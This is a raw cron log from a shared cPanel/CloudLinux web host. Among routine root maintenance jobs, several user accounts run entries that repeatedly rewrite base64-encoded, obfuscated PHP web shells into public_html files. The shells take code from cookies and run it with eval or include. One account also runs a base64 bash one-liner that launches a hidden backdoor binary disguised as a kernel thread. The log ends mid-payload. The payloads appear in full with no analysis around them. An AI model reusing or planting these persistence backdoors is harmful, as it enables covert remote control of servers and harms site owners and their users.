Jun  7 13:00:02 medusa CROND[16309]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:00:02 medusa CROND[16298]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16311]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:00:02 medusa CROND[16307]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 13:00:02 medusa CROND[16316]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:00:02 medusa CROND[16317]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 13:00:02 medusa CROND[16314]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16325]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Jun  7 13:00:02 medusa CROND[16319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16318]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:00:02 medusa CROND[16330]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16331]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 13:00:02 medusa CROND[16326]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16335]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16334]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 13:00:02 medusa CROND[16320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:00:02 medusa CROND[16329]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 13:00:02 medusa CROND[16347]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 13:00:02 medusa CROND[16340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:01:01 medusa CROND[17858]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:01:01 medusa CROND[17859]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:01:01 medusa CROND[17860]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:01:01 medusa CROND[17861]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:01:01 medusa CROND[17862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:01:01 medusa CROND[17864]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:01:01 medusa CROND[17865]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:01:01 medusa CROND[17867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:01:01 medusa CROND[17873]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:01:01 medusa CROND[17872]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:01:01 medusa CROND[17874]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 13:01:01 medusa CROND[17881]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:01:01 medusa CROND[17883]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:01:01 medusa CROND[17885]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:01:02 medusa run-parts(/etc/cron.hourly)[17874]: starting 0anacron
Jun  7 13:01:02 medusa run-parts(/etc/cron.hourly)[17960]: finished 0anacron
Jun  7 13:02:01 medusa CROND[19431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:02:01 medusa CROND[19432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:02:01 medusa CROND[19433]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:02:01 medusa CROND[19434]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:02:01 medusa CROND[19436]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:02:01 medusa CROND[19437]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:02:01 medusa CROND[19438]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVK